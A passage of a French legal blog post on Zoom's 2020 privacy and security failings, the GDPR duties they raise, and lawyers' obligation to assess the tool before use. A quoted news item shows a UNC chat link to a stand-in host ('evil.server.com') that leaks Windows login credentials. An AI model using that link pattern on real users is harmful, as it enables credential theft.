a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de visio-conférence révélant le ID number du meeting et les images des participants accompagnées de leur noms ou pseudonymes peut être considérées comme une rupture de confidentialité,</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du conseil ou leur AG.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés à propos des manquements de cet outil, comme le New York Attorney General investigations demandant aux écoles de ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant la popularité de cet outil de visio-conférence, les cris d’alarmes continuent à se faire entendre contre l’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“<a rel=\"noreferrer noopener\" href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\">Jonathan Leitschuh</a>, exposed a flaw allowing hackers to&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\">take over Zoom webcams</a>. The letter noted that the company did not address problem until after the Electronic Privacy Information Center, a public interest research center,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade Commission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\">Zoom</a>&nbsp;intentionally designed its web conferencing service to bypass browser security settings and remotely enable a user\'s web camera without the knowledge or consent of the user. As a result, Zoom exposed users to the risk of remote surveillance, unwanted videocalls, and denial-of-service attacks,” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">the complaint alleged.</a></em>” </li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for Online Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC to \"open an investigation of Zoom\'s business practices and to issue, as soon as practicable, Best Practices for Online Conferencing Services.\" <a href=\"https://lnkd.in/epjxHgw\">Here’s the press release</a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing. “Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds of profane and racist comments. Needless to say, I am familiarizing myself with these platforms’ privacy and security features, too. My office has been in contact with representatives from Zoom to address this and other issues relating to online security and privacy,” said Attorney General Tong. “ In the meantime, Attorney General Tong encouraged everyone to practice safer video conferencing by: • Ensuring that your video conference software is up to date. • Confirming that your conferences are private, either by requiring a password for entry or controlling guest access through a virtual waiting room. • Checking that the highest security settings are applied for your teleconference platform. • Consult your software company’s security information or your IT department. <a href=\"https://lnkd.in/gRcq9x2\">Here\'s the press release</a> <strong>”</strong></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être la responsabilité des juristes en matière de traitement des données consécutifs à l’utilisation d’une application qui a soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. La loi du 31 décembre 1971, et plus particulièrement les dispositions de son article 66-5 impliquent qu’« <em>en toutes matières, que ce soit dans le domaine du conseil ou dans celui de la défense, les consultations adressées par un avocat à son client ou destinées à celui-ci, les correspondances échangées entre le client et son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières de celles portant la mention « officielle », les notes d’entretien et, plus généralement, toutes les pièces du dossier sont couvertes par le secret professionnel</em> »</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La CNIL explique&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>L\'AIPD&nbsp;se décompose en trois parties :</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>Une description détaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects techniques qu’opérationnelsL’évaluation, de nature plus juridique, de la nécessité et de la proportionnalité concernant les principes et droits fondamentaux&nbsp; (finalité, données et durées de conservation, information et droits des personnes, etc.) non négociables, qui sont fixés par la loi et doivent être respectés, quels que soient les risques ;  </em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus technique, des risques sur la sécurité des données&nbsp;(confidentialité, intégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur la vie privée, qui permet de déterminer les mesures techniques et organisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement envisagé figure dans&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\"><em>la liste des types d’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a estimé obligatoire de réaliser une analyse d’impact relative à la protection des données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement remplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices du G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage à la mise en cause de sa responsabilité. Les ordres professionnels devraient être sensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une solution conforme aux exigences du règlement. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\">lawsuit</a>&nbsp;[PDF], filed on Monday in California. The plaintiff in this case, Robert Cullen of Sacramento, California, <a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\">The Register.</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany Roush, Director at the Crypsis Group, said</a> : \"that having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR. If anything, it demonstrates that the regulatory bodies are carrying out their essential function -- which is to ensure that companies protect consumer data... In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic... we do not have the luxury of time on our side to devise perfect solutions.</em></li><li><a href=\"http:// https://www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J\">Elon Musk\'s SpaceX bans Zoom over privacy concerns - memo</a></li><li><a href=\"https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm\">La Direction interministérielle du numérique « déconseille fortement » l\'application Zoom</a></li><li><a href=\"https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193\">De plus en plus déconseillé, Zoom fait appel à l\'ancien chef de la sécurité de Facebook </a></li><li><a href=\"https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/\">Why Most Should Avoid An ‘Out Of Control’ Zoom Right Now</a></li><li><a href=\"https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li><li><a href=\"https://www.securityweek.com/zoom-credentials-database-available-dark-web?\">Zoom Credentials Database Available on Dark Web</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Ainsi en conclusion, il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions alternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> 